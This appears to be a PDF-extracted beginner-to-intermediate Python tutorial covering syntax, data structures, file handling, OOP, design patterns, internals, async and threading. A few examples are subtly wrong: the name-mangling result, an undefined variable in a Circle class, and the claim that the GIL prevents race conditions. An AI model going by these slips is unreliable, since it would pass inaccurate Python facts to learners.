
 

 



 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS 

1. What Is Python? The Complete Explanation (Crystal Clear) 

Python is a high-level, interpreted, general-purpose programming language used for: 

●​ Web Development​
 

●​ Machine Learning​
 

●​ Automation​
 

●​ Scripting​
 

●​ Cybersecurity​
 

●​ DevOps​
 

●​ Data Science​
 

●​ Blockchain​
 

●​ AI & Deep Learning​
 

●​ Application Development​
 

●​ API development​
 

●​ Enterprise systems​
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Unlike languages like C/C++ or Java, Python focuses on: 

●​ Readability​
 

●​ Developer productivity​
 

●​ Rapid prototyping​
 

Python code looks almost like English: 

print("Hello, World!") 

 

No semicolon, no braces, no complexity.​
 This simplicity makes Python the most taught programming language in the world. 

🧠 Why Python Took Over the Industry 

Python dominates because: 

1.​ Easy to learn (English-like syntax)​
 

2.​ Huge libraries & frameworks​
 

3.​ Flexible for every domain​
 

4.​ Strong community & documentation​
 

5.​ Perfect for automation & AI​
 

6.​ Fast development cycles​
 

7.​ Beginner-friendly, expert-powerful​
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Python allows you to build: 

●​ Websites​
 

●​ Automation scripts​
 

●​ AI engines​
 

●​ Blockchain nodes​
 

●​ APIs​
 

●​ Desktop apps​
 

●​ Bots​
 

●​ Security tools​
 

…ALL with the same language. 

 

⭐ 2. Installing Python (Detailed, Crystal Clear) 

2.1 Downloading Python 

Go to: 

https://python.org/downloads 

Choose your OS: 

●​ Windows​
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●​ macOS​
 

●​ Linux​
 

⚠️ IMPORTANT ON WINDOWS 

During installation CHECK THIS BOX: 

☑ Add Python to PATH 

If you skip this, terminal will say: 

'python' is not recognized as an internal or external command 

 

 

2.2 Check Python Version 

After installation: 

python --version 

 

or 

python3 --version 

 

Output example: 

Python 3.12.0 
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⭐ 3. Running Python (All Methods Explained) 

Python can run in 5 ways: 

1. Python Interactive Shell 

Open terminal: 

python 

 

Then type: 

>>> 2 + 3 
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2. Running .py files 

Create a file: 

script.py 

 

Run it: 

python script.py 

 

3. Using VS Code 

VS Code is the most popular Python IDE. 

Install extensions: 

●​ Python​
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●​ Pylance​
 

●​ Jupyter (optional)​
 

4. Using Jupyter Notebook 

For data science / ML: 

pip install jupyter 

jupyter notebook 

 

5. Using Online Editors 

●​ Replit​
 

●​ JupyterLite​
 

●​ Google Colab​
 

 

⭐ 4. Python Syntax — The Crystal Clear Explanation 

Python is indentation-based, meaning spaces determine code blocks. 

Example: 

if True: 

    print("Hello") 

    print("Inside block") 

print("Outside block") 
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Indentation must be consistent: 

●​ use 4 spaces​
 

●​ never mix tabs + spaces​
 

Incorrect: 

if True: 

print("This will error") 

 

Python will throw: 

IndentationError: expected an indented block 

 

 

⭐ 5. Variables (EXTREMELY CLEAR Explanation) 

Variables store information. 

x = 10 

name = "Bivash" 

price = 99.99 

 

Python automatically detects types. 

You don't write: 

int x = 10 

 

Instead: 
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x = 10 

 

Valid variable names 

user_name 

total_price 

count1 

_pi_value 

 

Invalid names 

2name   ❌ starts with number 

user-name ❌ hyphen not allowed 

class ❌ reserved keyword 

 

 

⭐ 6. Python Data Types 

Python has these core types: 

Numbers 

int → 10 

float → 10.5 

complex → 3 + 4j 

 

Strings 

"CyberDudeBivash" 
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'Python' 

 

Booleans 

True 

False 

 

Lists 

Ordered + changeable. 

arr = [10, 20, 30] 

 

Tuples 

Ordered + NOT changeable. 

t = (10, 20, 30) 

 

Sets 

Unordered, unique items. 

s = {10, 20, 30} 

 

Dictionaries 

Key-value pairs. 

user = {"name": "Bivash", "age": 25} 
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⭐ 7. Type Casting (Very Detailed) 

int("10") → 10 

float("5.6") → 5.6 

str(100) → "100" 

list("abc") → ["a","b","c"] 

 

Examples: 

a = "123" 

b = int(a) 

print(b + 10) 

 

 

⭐ 8. Operators (Crystal Clear Explanation) 

Arithmetic Operators 

+  -  *  /  %  //  ** 

 

Example: 

5 ** 2 → 25 

10 // 3 → 3 (floor division) 

 

Comparison Operators 

== != > < >= <= 
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Logical Operators 

and 

or 

not 

 

Assignment Operators 

+=  -=  *=  /= 

 

 

⭐ 9. Conditional Statements (EXTREMELY CLEAR) 

if condition: 

    block 

elif condition: 

    block 

else: 

    block 

 

Example: 

age = 20 

 

if age >= 18: 

    print("Adult") 
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else: 

    print("Minor") 

 

 

⭐ 10. Loops (Beginner to Advanced Explanation) 

10.1 for loop 

for i in range(5): 

    print(i) 

 

Output: 

0 1 2 3 4 

 

10.2 while loop 

count = 1 

while count <= 5: 

    print(count) 

    count += 1 

 

Break, Continue, Pass 

for i in range(10): 

    if i == 5: 

        continue 

12 



 

 

    if i == 8: 

        break 

    print(i) 

 

 

⭐ 11. Functions (Crystal Clear, Beginner-Friendly) 

def greet(): 

    print("Hello") 

 

Functions with arguments: 

def add(a, b): 

    return a + b 

 

Default values: 

def welcome(name="Guest"): 

    print("Hi", name) 

 

Keyword arguments: 

welcome(name="Bivash") 

 

Variable arguments: 

def total(*nums): 

    return sum(nums) 
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⭐ 12. Lambda Functions (Professional Explanation) 

Anonymous functions. 

square = lambda x: x * x 

print(square(5)) 

 

 

⭐ 13. Python Data Structures (Deep Explanation Begins) 

We will cover: 

●​ Lists​
 

●​ Tuples​
 

●​ Sets​
 

●​ Dictionaries​
 

●​ Stacks​
 

●​ Queues​
 

●​ Deques​
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●​ Priority Queues​
 

●​ Hash Maps​
 

●​ Linked Lists​
 

●​ Trees​
 

●​ Graphs​
 

But this will start in Part 2. 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 2) 

14. LISTS — The Most Powerful Data Structure in Python 

Lists are: 

●​ Ordered​
 

●​ Mutable (changeable)​
 

●​ Dynamic in size​
 

●​ Can store mixed types​
 

Python lists are built on top of dynamic arrays written in C. 

✔ Basic List Example 

numbers = [10, 20, 30, 40] 
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✔ Mixed-Type List Example 

data = ["CyberDudeBivash", 100, 5.9, True] 

 

✔ List Indexing 

numbers[0] → 10 

numbers[1] → 20 

numbers[-1] → 40   # last element 

 

✔ List Slicing 

numbers[1:3] → [20, 30] 

numbers[:2]  → [10, 20] 

numbers[2:]  → [30, 40] 

numbers[:]   → full copy 

 

✔ Adding Items to a List 

numbers.append(50)      # add to end 

numbers.insert(1, 15)   # insert at index 

 

✔ Removing Items 

numbers.remove(20)  # removes first 20 

numbers.pop()       # removes last element 

numbers.pop(1)      # removes index 1 element 
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✔ Updating Items 

numbers[2] = 999 

 

✔ Looping Through Lists 

for item in numbers: 

    print(item) 

 

✔ List Comprehension (VERY IMPORTANT) 

squares = [x*x for x in range(10)] 

 

This is used everywhere in professional Python. 

 

⭐ 15. TUPLES — When You Need Data That Should Not 

Change 

Tuples are: 

●​ Ordered​
 

●​ Immutable​
 

●​ Faster than lists​
 

●​ Used for fixed data​
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✔ Basic Tuple Example 

point = (10, 20) 

 

✔ Mixed Tuple 

person = ("Bivash", 25, "CyberDudeBivash") 

 

✔ Tuple Packing & Unpacking 

x, y = (10, 20) 

 

name, age, brand = person 

 

✔ Why Use Tuples Instead of Lists? 

1.​ Faster​
 

2.​ Memory efficient​
 

3.​ Prevent accidental modifications​
 

4.​ Can be used as dictionary keys​
 

5.​ Used in database rows, coordinates, config values​
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⭐ 16. SETS — Fastest Lookup Structure (Hash-Based) 

Sets are: 

●​ Unordered​
 

●​ Unique items only​
 

●​ FAST membership tests (O(1))​
 

✔ Creating a Set 

s = {10, 20, 30} 

 

✔ Adding & Removing 

s.add(40) 

s.remove(20) 

 

✔ Checking Membership 

if 10 in s: 

    print("exists") 

 

✔ Set Operations 

A = {1,2,3} 

B = {3,4,5} 

 

A | B   # union 
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A & B   # intersection 

A - B   # difference 

A ^ B   # symmetric diff 

 

 

⭐ 17. DICTIONARIES — The Most Important Python Data 

Structure 

Dictionaries store key-value pairs and are implemented using hash tables. 

✔ Basic Example 

user = { 

    "name": "Bivash", 

    "role": "Cybersecurity", 

    "company": "CyberDudeBivash" 

} 

 

✔ Access Values 

user["name"] 

user.get("role") 

 

✔ Add/Update 

user["country"] = "India" 
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✔ Loop Through Dictionary 

for key, value in user.items(): 

    print(key, value) 

 

✔ Dictionary Methods 

user.keys() 

user.values() 

user.items() 

 

✔ Dictionary Comprehension 

squares = {x: x*x for x in range(10)} 

 

 

⭐ 18. STRING DEEP DIVE — Immense Power of Python 

Strings 

Strings are: 

●​ Immutable​
 

●​ Sequence of Unicode characters​
 

●​ Optimized heavily by CPython engine​
 

✔ Basic Operations 

name = "CyberDudeBivash" 
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len(name) 

name.upper() 

name.lower() 

name.title() 

name.strip() 

 

✔ Slicing Strings 

name[0:5]  

name[:7] 

name[4:] 

name[::-1]  # reverse 

 

✔ Splitting & Joining 

words = name.split("e") 

result = "-".join(["Cyber","Dude","Bivash"]) 

 

✔ Checking Patterns 

name.startswith("Cyber") 

name.endswith("vash") 
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⭐ 19. MUTABILITY vs IMMUTABILITY (Critical Python 

Concept) 

✔ Mutable (Changeable) 

●​ List​
 

●​ Dictionary​
 

●​ Set​
 

✔ Immutable (Not Changeable) 

●​ Tuple​
 

●​ String​
 

●​ Integer​
 

●​ Float​
 

✔ Why Python Has Immutable Objects? 

1.​ Faster performance​
 

2.​ Thread-safe​
 

3.​ Hashable → can be dictionary keys​
 

4.​ Optimized memory reuse​
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Example: 

a = "hello" 

a = a + " world" 

 

This does NOT modify "hello". 

Python creates a NEW string. 

 

⭐ 20. PYTHON MEMORY MODEL — How Python Stores 

Variables 

Python uses: 

●​ Stack memory → references​
 

●​ Heap memory → objects​
 

When you do: 

x = 10 

 

●​ x is a name in stack​
 

●​ 10 is an object in heap​
 

✔ All variables are references 

a = [1,2,3] 

b = a 
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b.append(4) 

 

print(a) → [1,2,3,4] 

 

Both a and b refer to the same list object. 

To copy WITHOUT linking: 

b = a.copy() 

 

 

⭐ 21. SLICING — The Most Powerful Feature in Python 

Slicing applies to: 

●​ Lists​
 

●​ Tuples​
 

●​ Strings​
 

●​ Any sequence​
 

✔ Syntax 

sequence[start:end:step] 
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✔ Examples 

arr = [10,20,30,40,50] 

 

arr[1:4]      → [20,30,40] 

arr[:3]       → [10,20,30] 

arr[2:]       → [30,40,50] 

arr[::-1]     → reverse list 

arr[::2]      → elements at even index 

 

Slicing is extremely optimized. 

 

⭐ 22. LOOPS — ADVANCED 

✔ Enumerate (Very Powerful) 

for index, value in enumerate(["a","b","c"]): 

    print(index, value) 

 

✔ Zip (Combine Lists) 

names = ["A","B","C"] 

ages = [10,20,30] 

 

for n, a in zip(names, ages): 

    print(n, a) 
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✔ List comprehension with conditions 

[x for x in range(20) if x % 2 == 0] 

 

 

⭐ 23. ADVANCED FUNCTIONS (Deep Dive) 

✔ Return multiple values 

def stats(a, b): 

    return a+b, a-b, a*b 

 

✔ Keyword-only arguments 

def greet(*, name): 

    print(name) 

 

✔ Arbitrary keyword arguments 

def f(**data): 

    print(data) 

 

 

⭐ 24. DOCSTRINGS — Professional Documentation 

def add(a, b): 

    """ 

    Add two numbers and return sum. 
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    """ 

    return a + b 

 

Use: 

help(add) 

 

 

⭐ 25. INPUT & OUTPUT 

✔ Input 

name = input("Enter name: ") 

 

✔ Output formatting 

print(f"Welcome {name}") 

print("Total:", total, sep=" → ") 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 3) 

26. FILE HANDLING (Crystal Clear, Deep, Beginner to 

Advanced) 

File handling is one of the most important Python skills for: 

●​ Automation​
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●​ Logging​
 

●​ Data processing​
 

●​ Scripting​
 

●​ Web apps​
 

●​ Cybersecurity tools​
 

●​ Config parsing​
 

Python uses the built-in open() function for all file operations. 

 

⭐ 26.1 Opening Files 

Syntax: 

open(filename, mode) 

 

Modes: 

Mode Meaning 

"r" Read (default) 

"w" Write (overwrite) 

"a" Append 

"x" Create new file 

"b" Binary mode 

"t" Text mode (default) 
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Examples: 

file = open("data.txt", "r") 

 

 

⭐ 26.2 Reading Files 

✔ read() 

content = file.read() 

 

✔ readline() 

Reads one line: 

line = file.readline() 

 

✔ readlines() 

Returns list of lines: 

lines = file.readlines() 

 

 

⭐ 26.3 Writing Files 

file = open("notes.txt", "w") 

file.write("Hello Python!") 
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⭐ 26.4 Always Close Files 

file.close() 

 

 

⭐ 26.5 Using “with” (BEST PRACTICE) 

with open("info.txt", "r") as file: 

    data = file.read() 

 

Advantages: 

✔ Automatically closes file​
 ✔ Works even if errors occur​
 ✔ Cleaner & safer 

 

⭐ 26.6 Reading & Writing Binary Files 

with open("image.jpg", "rb") as file: 

    data = file.read() 

 

with open("output.bin", "wb") as file: 

    file.write(data) 

 

Used for: 

●​ Images​
 

●​ Videos​
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●​ PDFs​
 

●​ Malware samples​
 

●​ Binary logs​
 

 

⭐ 26.7 File Handling in Automation 

Automation scripts frequently do: 

✔ Rename files​
 ✔ Move files​
 ✔ Delete files​
 ✔ Extract logs​
 ✔ Parse large datasets 

Example: 

import os 

 

for file in os.listdir(): 

    if file.endswith(".log"): 

        print("Log file:", file) 

 

 

⭐ 27. ERROR HANDLING (Professional Explanation) 

Errors are handled using: 

try: 

32 



 

 

    # code 

except ExceptionType: 

    # handle error 

finally: 

    # cleanup 

 

 

⭐ 27.1 Example 

try: 

    a = 10 / 0 

except ZeroDivisionError: 

    print("Cannot divide by zero") 

 

 

⭐ 27.2 Multiple Except Blocks 

try: 

    value = int("abc") 

except ValueError: 

    print("Invalid number") 

except Exception: 

    print("Other error") 

 

 

33 



 

 

⭐ 27.3 finally Block Always Runs 

try: 

    f = open("data.txt") 

except: 

    print("File missing") 

finally: 

    print("Always executed") 

 

 

⭐ 27.4 Raise Custom Errors 

raise ValueError("Invalid data passed!") 

 

 

⭐ 28. ITERATORS — How Python Iteration Actually Works 

Anything that can be looped is an iterable. 

Examples: 

●​ Strings​
 

●​ Lists​
 

●​ Tuples​
 

●​ Dictionaries​
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●​ Sets​
 

●​ Files​
 

✔ How iteration works internally 

iterable → iterator → next() → next() → StopIteration 

 

 

⭐ 28.1 Creating a Manual Iterator 

nums = [1,2,3] 

it = iter(nums) 

 

print(next(it)) 

print(next(it)) 

print(next(it)) 

 

 

⭐ 28.2 Custom Iterator Class 

class Counter: 

    def __init__(self, limit): 

        self.limit = limit 

        self.current = 1 

 

    def __iter__(self): 
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        return self 

 

    def next(self): 

        return self.__next__() 

 

    def __next__(self): 

        if self.current <= self.limit: 

            x = self.current 

            self.current += 1 

            return x 

        else: 

            raise StopIteration 

 

 

⭐ 29. GENERATORS — Python’s Lightweight Superpower 

Generators look like functions but use yield instead of return. 

def numbers(): 

    yield 1 

    yield 2 

    yield 3 
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✔ Benefits of Generators 

1.​ Memory-efficient​
 

2.​ Faster for large datasets​
 

3.​ Used heavily in automation, scraping, pipelines​
 

4.​ Perfect for streaming logs​
 

 

⭐ 29.1 Infinite Generator Example 

def infinite(): 

    n = 1 

    while True: 

        yield n 

        n += 1 

 

 

⭐ 29.2 Generator Comprehension 

(x*x for x in range(10)) 
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⭐ 30. DECORATORS — The Most Important Python 

Concept 

Decorators add extra functionality to a function without modifying it. 

 

⭐ 30.1 Basic Decorator 

def log(func): 

    def wrapper(): 

        print("Function called!") 

        func() 

    return wrapper 

 

Apply using @: 

@log 

def greet(): 

    print("Hello!") 

 

 

⭐ 30.2 Decorators with Arguments 

def trace(fn): 

    def wrapper(*args, **kwargs): 

        print("Running:", fn.__name__) 

        return fn(*args, **kwargs) 
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    return wrapper 

 

Used for: 

●​ Logging​
 

●​ Security​
 

●​ Performance checks​
 

●​ Authentication​
 

●​ Rate limiting​
 

 

⭐ 31. OBJECT-ORIENTED PROGRAMMING (Python’s 

MOST IMPORTANT SECTION) 

This is a HUGE section.​
 OOP in Python is the foundation for: 

●​ Web apps​
 

●​ Cybersecurity tools​
 

●​ Automation frameworks​
 

●​ AI pipelines​
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●​ Enterprise applications​
 

Let’s break it down crystal clear. 

 

🔥 OOP CONCEPTS IN PYTHON (Super Detailed) 

31.1 Class & Object Basics 

Class = blueprint​
 Object = instance of class 

class Car: 

    pass 

 

c = Car() 

 

 

31.2 Attributes 

class Person: 

    name = "Unknown" 

 

Instance attribute: 

p = Person() 

p.name 
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31.3 init (Constructor) 

class User: 

    def __init__(self, name, age): 

        self.name = name 

        self.age = age 

 

 

31.4 Methods 

class User: 

    def greet(self): 

        print("Hello") 

 

 

31.5 Self Keyword 

self refers to the object itself. 

self.name 

self.age 

 

 

31.6 Inheritance 

class Animal: 

    def sound(self): 

        print("Some sound") 
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class Dog(Animal): 

    def sound(self): 

        print("Bark") 

 

 

⭐ 31.7 super() 

class Parent: 

    def __init__(self): 

        print("Parent init") 

 

class Child(Parent): 

    def __init__(self): 

        super().__init__() 

        print("Child init") 

 

 

⭐ 31.8 Polymorphism 

class A: 

    def show(self): print("A") 

 

class B: 

    def show(self): print("B") 
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⭐ 31.9 Encapsulation 

self._protected 

self.__private 

 

 

⭐ 31.10 Abstraction 

Using abstract base classes. 

from abc import ABC, abstractmethod 

 

class Shape(ABC): 

    @abstractmethod 

    def area(self): 

        pass 

 

 

⭐ 31.11 Magic / Dunder Methods 

Examples: 

__str__ 

__len__ 

__add__ 

__sub__ 
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__eq__ 

 

def __str__(self): 

    return "User object" 

 

 

⭐ 31.12 Operator Overloading 

class Box: 

    def __init__(self, volume): 

        self.volume = volume 

 

    def __add__(self, other): 

        return self.volume + other.volume 

 

 

⭐ 31.13 Method Overriding 

Child replaces parent method. 

 

⭐ 31.14 Class Methods 

@classmethod 

def build(cls): 

    return cls("Default") 
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⭐ 31.15 Static Methods 

@staticmethod 

def help(): 

    print("Utility function") 

 

 

⭐ 31.16 Real-World OOP Use Cases 

✔ Building an API​
 ✔ Building automation engines​
 ✔ Creating a framework​
 ✔ Large web apps​
 ✔ AI pipelines​
 ✔ Cloud automation tools​
 ✔ Cybersecurity scanners 

 

⭐ 32. MODULES & PACKAGES 

✔ Creating a module 

Create: 

mathutils.py 

 

Use: 

import mathutils 
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✔ Creating a package 

Folder structure: 

mylib/ 

    __init__.py 

    utils.py 

    logic.py 

 

 

⭐ 33. VIRTUAL ENVIRONMENTS (VERY IMPORTANT) 

python -m venv env 

env\Scripts\activate   # Windows 

source env/bin/activate  # Linux/Mac 

 

Deactivate: 

deactivate 

 

 

⭐ 34. PYTHON PROJECT STRUCTURE (PRO LEVEL) 

project/ 

    app/ 

        __init__.py 

        routes.py 
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        models.py 

    tests/ 

    requirements.txt 

    config.py 

    run.py 

 

This is how companies structure real projects. 

 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 4) 

35. ADVANCED OOP (Design Patterns, Architecture, 

Real-World Use Cases) 

Python’s OOP is flexible, powerful, and dynamic. Now we go beyond the basics into what 

professional Python developers use. 

 

⭐ 35.1 Class vs Instance Variables (Crystal Clear) 

✔ Instance Variables 

Unique to the object. 

class User: 

    def __init__(self, name): 

        self.name = name 
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Each object gets its own: 

u1 = User("Alice") 

u2 = User("Bob") 

 

✔ Class Variables 

Shared by all objects. 

class User: 

    count = 0 

 

Used for: 

●​ tracking objects​
 

●​ configuration​
 

●​ static information​
 

 

⭐ 35.2 Private, Protected & Public Members (Deep 

Explanation) 

Python uses naming conventions: 

Type Example Meaning 

Public self.name Fully accessible 

Protecte
d 

self._name “Internal use” 
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Private self.__name Name-mangled 

Example: 

self.__secret 

 

Internally Python changes this to: 

_user__secret 

 

This prevents accidental overriding. 

 

⭐ 35.3 Property Decorator (Pythonic Getters/Setters) 

Instead of Java-like setters: 

obj.setValue(10) 

 

Python uses: 

class Temp: 

    def __init__(self): 

        self._c = 0 

 

    @property 

    def celsius(self): 

        return self._c 

 

    @celsius.setter 
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    def celsius(self, value): 

        if value < -273: 

            raise ValueError("Below absolute zero!") 

        self._c = value 

 

This makes API clean: 

t.celsius = 20 

print(t.celsius) 

 

 

⭐ 35.4 Inheritance Deep Dive 

Types: 

✔ Single Inheritance​
 ✔ Multi-level​
 ✔ Hierarchical​
 ✔ Multiple Inheritance​
 ✔ Hybrid 

Python supports multiple inheritance, like: 

class A: pass 

class B: pass 

class C(A, B): pass 

 

⚠️ Python follows MRO 

(Method Resolution Order): 
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C → A → B → object 

 

Check with: 

print(C.mro()) 

 

 

⭐ 35.5 Abstract Classes & Interfaces (Python Way) 

from abc import ABC, abstractmethod 

 

class Shape(ABC): 

    @abstractmethod 

    def area(self): 

        pass 

 

Child MUST override: 

class Circle(Shape): 

    def area(self): 

        return 3.14 * r*r 

 

 

⭐ 35.6 Polymorphism (True Explanation) 

Same function name → different behavior. 
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Example: 

class Dog: 

    def speak(self): return "Bark" 

 

class Cat: 

    def speak(self): return "Meow" 

 

Polymorphism in action: 

for ani in (Dog(), Cat()): 

    print(ani.speak()) 

 

 

⭐ 35.7 Composition — More Powerful Than Inheritance 

“If A HAS-A B.” 

class Engine: 

    def start(self): 

        print("Engine start") 

 

class Car: 

    def __init__(self): 

        self.engine = Engine() 

 

This is how real enterprise systems work. 
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⭐ 35.8 Python Design Patterns (Professional Level) 

We cover 12 important patterns. 

 

✔ Singleton Pattern 

class Single: 

    _instance = None 

 

    def __new__(cls): 

        if not cls._instance: 

            cls._instance = super().__new__(cls) 

        return cls._instance 

 

Used for: 

●​ DB connections​
 

●​ Logging​
 

●​ Configuration files​
 

 

✔ Factory Pattern 

class ShapeFactory: 

    def create(self, type): 
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        if type == "circle": return Circle() 

        if type == "square": return Square() 

 

Used for: 

●​ generating objects dynamically​
 

 

✔ Strategy Pattern 

class PaymentStrategy: ... 

class Paytm(PaymentStrategy): ... 

class UPI(PaymentStrategy): ... 

 

Used for: 

●​ flexible payment systems​
 

●​ algorithm switching​
 

 

✔ Observer Pattern 

class Subject: 

    observers = [] 

    def notify(self): 

        for o in self.observers: 

            o.update() 
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Used in: 

●​ event-driven apps​
 

●​ GUIs​
 

●​ monitoring systems​
 

 

⭐ 36. PYTHON MEMORY MANAGEMENT (Deep Internals) 

Python uses: 

✔ Reference Counting​
 ✔ Garbage Collector​
 ✔ Heap Allocation​
 ✔ Memory Pools (CPython) 

 

⭐ 36.1 Reference Counting (Core Mechanism) 

Every object has a counter: 

import sys 

x = 100 

sys.getrefcount(x) 

 

When ref count → 0 → object destroyed. 
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⭐ 36.2 Garbage Collection (GC) 

Python also manages: 

✔ Circular references​
 ✔ Unreachable objects 

import gc 

gc.collect() 

 

 

⭐ 36.3 Interning (Speed Optimization) 

Python reuses: 

●​ small integers​
 

●​ strings​
 

●​ identifiers​
 

a = "hello" 

b = "hello" 

a is b  → True 
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⭐ 37. COMPREHENSIONS — Pro-Level Usage 

Python supports: 

✔ List Comprehension​
 ✔ Set Comprehension​
 ✔ Dict Comprehension​
 ✔ Generator Comprehension 

 

⭐ 37.1 List Comprehension Deep Dive 

[x*x for x in range(10)] 

 

With condition: 

[x for x in range(20) if x % 2 == 0] 

 

Nested: 

[(i,j) for i in range(3) for j in range(3)] 

 

 

⭐ 37.2 Dictionary Comprehension 

{x: x*x for x in range(5)} 

 

Filter: 

{k:v for k,v in data.items() if v > 10} 
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⭐ 37.3 Set Comprehension 

{x for x in [1,1,2,3]} 

 

Removes duplicates automatically. 

 

⭐ 37.4 Generator Comprehension 

(x*x for x in range(1000000)) 

 

Used for: 

●​ streaming logs​
 

●​ huge data​
 

●​ memory-efficient scripts​
 

 

⭐ 38. HIGHER ORDER FUNCTIONS (Advanced Python) 

Functions passed as arguments: 

def calc(fn, x): 

    return fn(x) 
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Used with: 

✔ map​
 ✔ reduce​
 ✔ filter 

 

map() 

list(map(lambda x: x*2, [1,2,3])) 

 

filter() 

list(filter(lambda x: x%2==0, range(10))) 

 

reduce() 

from functools import reduce 

reduce(lambda a,b: a+b, [1,2,3]) 

 

 

⭐ 39. PYTHON INTERNALS (DEEP) 

Topics: 

✔ Bytecode​
 ✔ Compiler​
 ✔ Interpreter​
 ✔ Virtual Machine (PVM)​
 ✔ Execution Flow 
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⭐ 39.1 Python Compilation Steps 

1.​ Your code (.py)​
 

2.​ Compiler → Bytecode (.pyc)​
 

3.​ PVM interprets bytecode​
 

4.​ Executes step-by-step​
 

 

⭐ 39.2 Check Bytecode 

import dis 

dis.dis(function_name) 

 

This is how Python’s VM sees your code. 

 

⭐ 40. NAMESPACES & SCOPE (Extremely Clear) 

Python has 4 scopes: 

1.​ L – Local​
 

2.​ E – Enclosing​
 

3.​ G – Global​
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4.​ B – Built-in​
 

LEGB rule determines variable resolution. 

Example: 

x = 10 

def f(): 

    x = 20 

    print(x) 

 

 

⭐ 41. PYTHON DEBUGGING (Real-Time) 

Use: 

import pdb 

pdb.set_trace() 

 

Commands: 

Command Meaning 

n next line 

s step into 

c continue 

l list code 

q quit 

 

61 



 

 

⭐ 42. LOGGING (Professional Python Engineering) 

import logging 

 

logging.basicConfig(level=logging.INFO) 

logging.info("Process started") 

 

Levels: 

●​ DEBUG​
 

●​ INFO​
 

●​ WARNING​
 

●​ ERROR​
 

●​ CRITICAL​
 

 

⭐ 43. PACKAGING PYTHON APPS 

Steps: 

1.​ Create package directory​
 

2.​ Add __init__.py​
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3.​ Add modules​
 

4.​ Add setup.py​
 

Example: 

python setup.py sdist 

 

 

⭐ 44. VIRTUAL ENVIRONMENT WORKFLOW (Pro Level) 

python -m venv env 

source env/bin/activate 

pip install -r requirements.txt 

python app.py 

 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 5) 

45. PYTHON DATA MODEL — The Hidden Foundation of 

Python 

Python’s entire language is built on the Data Model, also known as the “dunder method 

framework.” 

Everything in Python behaves the way it does because of: 

63 



 

 

●​ __init__​
 

●​ __str__​
 

●​ __repr__​
 

●​ __len__​
 

●​ __getitem__​
 

●​ __setitem__​
 

●​ __call__​
 

●​ __enter__​
 

●​ __exit__​
 

These methods define: 

✔ How objects behave​
 ✔ How they are printed​
 ✔ How they compare​
 ✔ How they act in loops​
 ✔ How functions act like objects​
 ✔ How operators work 

 

⭐ 45.1 str vs repr 

class User: 
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    def __str__(self): 

        return "Readable for humans" 

 

    def __repr__(self): 

        return "Readable for developers" 

 

__repr__ is more important because: 

>>> user 

User(name='Bivash') 

 

 

⭐ 45.2 len 

class Box: 

    def __len__(self): 

        return 10 

 

Now: 

len(Box()) 

 

 

⭐ 45.3 getitem (List-like behavior) 

class Data: 
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    def __getitem__(self, index): 

        return index * 10 

 

d = Data() 

d[3]   → 30 

 

 

⭐ 45.4 call — Make Objects Callable 

class Greeter: 

    def __call__(self): 

        print("Hello!") 

 

g = Greeter() 

g()  # object behaves like function 

 

This is how FastAPI, Django middlewares, decorators, and machine learning layers work. 

 

⭐ 45.5 enter & exit (Context Managers) 

class FileManager: 

    def __enter__(self): 

        print("Open file") 

    def __exit__(self, *args): 
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        print("Close file") 

 

with FileManager(): 

    print("Inside block") 

 

 

⭐ 46. CLOSURES — The Foundation of Decorators & 

Callbacks 

A closure is when a function remembers the environment where it was created. 

def outer(msg): 

    def inner(): 

        print(msg) 

    return inner 

 

greet = outer("Hello Bivash!") 

greet() 

 

Even if outer() has finished executing, msg is still available. 

Used in: 

✔ decorators​
 ✔ event handlers​
 ✔ asynchronous tasks​
 ✔ caching systems 
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⭐ 47. FUNCTIONS AS FIRST-CLASS CITIZENS 

In Python, functions can be: 

✔ Stored in variables​
 ✔ Passed to functions​
 ✔ Returned from functions​
 ✔ Stored in lists, dicts​
 ✔ Assigned dynamically 

This is the heart of: 

●​ Machine learning pipelines​
 

●​ AI model layers​
 

●​ Framework design​
 

●​ Callback systems​
 

●​ Clean architecture​
 

Example: 

def add(x): return x+10 

def sub(x): return x-10 

 

ops = [add, sub] 

 

for fn in ops: 

    print(fn(20)) 
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⭐ 48. COROUTINES — The Foundation of Async Python 

Coroutines allow: 

●​ cooperative multitasking​
 

●​ pausing a function​
 

●​ resuming at a later time​
 

def coroutine(): 

    x = yield 

    print("Got:", x) 

 

c = coroutine() 

next(c) 

c.send(100) 

 

This is how: 

✔ Async engines​
 ✔ Event loops​
 ✔ High-performance web servers​
 ✔ FastAPI internals​
 ✔ Streaming logic 

…work under the hood. 
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⭐ 49. ASYNC / AWAIT — Modern Concurrency in Python 

Async allows Python to handle: 

●​ 1 million+ network requests​
 

●​ API calls​
 

●​ Database queries​
 

●​ Microservices​
 

●​ High-performance servers​
 

Instead of blocking code: 

import asyncio 

 

async def task(): 

    print("Running task") 

    await asyncio.sleep(1) 

    print("Done") 

 

Event loop: 

asyncio.run(task()) 
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⭐ 49.1 Async Example — Making 1000 API Requests 

async def fetch(session, url): 

    async with session.get(url) as response: 

        return await response.text() 

 

async def main(): 

    async with aiohttp.ClientSession() as session: 

        tasks = [fetch(session, url) for url in urls] 

        await asyncio.gather(*tasks) 

 

Async = SPEED. 

 

⭐ 50. CONCURRENCY VS PARALLELISM 

Understanding this makes you a real developer. 

✔ Concurrency 

Multiple tasks started, but not necessarily running at the same time.​
 (Async, multithreading) 

✔ Parallelism 

Multiple tasks running truly simultaneously.​
 (Multiprocessing) 
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⭐ 51. MULTITHREADING (The Reality of Python Threads) 

Python’s threads are limited by the GIL (Global Interpreter Lock). 

GIL allows: 

✔ One thread executes Python bytecode at a time​
 ❌ NOT good for CPU-heavy tasks​
 ✔ Good for I/O tasks: 

●​ downloading files​
 

●​ reading network data​
 

●​ scraping​
 

●​ database calls​
 

Example: 

import threading 

 

def task(): 

    print("Running") 

 

threads = [] 

for _ in range(5): 

    t = threading.Thread(target=task) 

    threads.append(t) 

    t.start() 
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⭐ 52. THE GLOBAL INTERPRETER LOCK (GIL) — The Truth 

The GIL: 

✔ Ensures memory safety​
 ✔ Prevents race conditions​
 ✔ Allows only ONE thread to execute Python at a time 

Why? 

Because CPython uses: 

●​ reference counting​
 

●​ non-thread-safe memory operations​
 

This is why CPU-heavy tasks struggle in multithreading. 

 

⭐ 53. MULTIPROCESSING — True Parallelism 

Python solves GIL issues with: 

import multiprocessing 

 

Each process has: 

✔ its own interpreter​
 ✔ its own memory 

Example: 

from multiprocessing import Process 
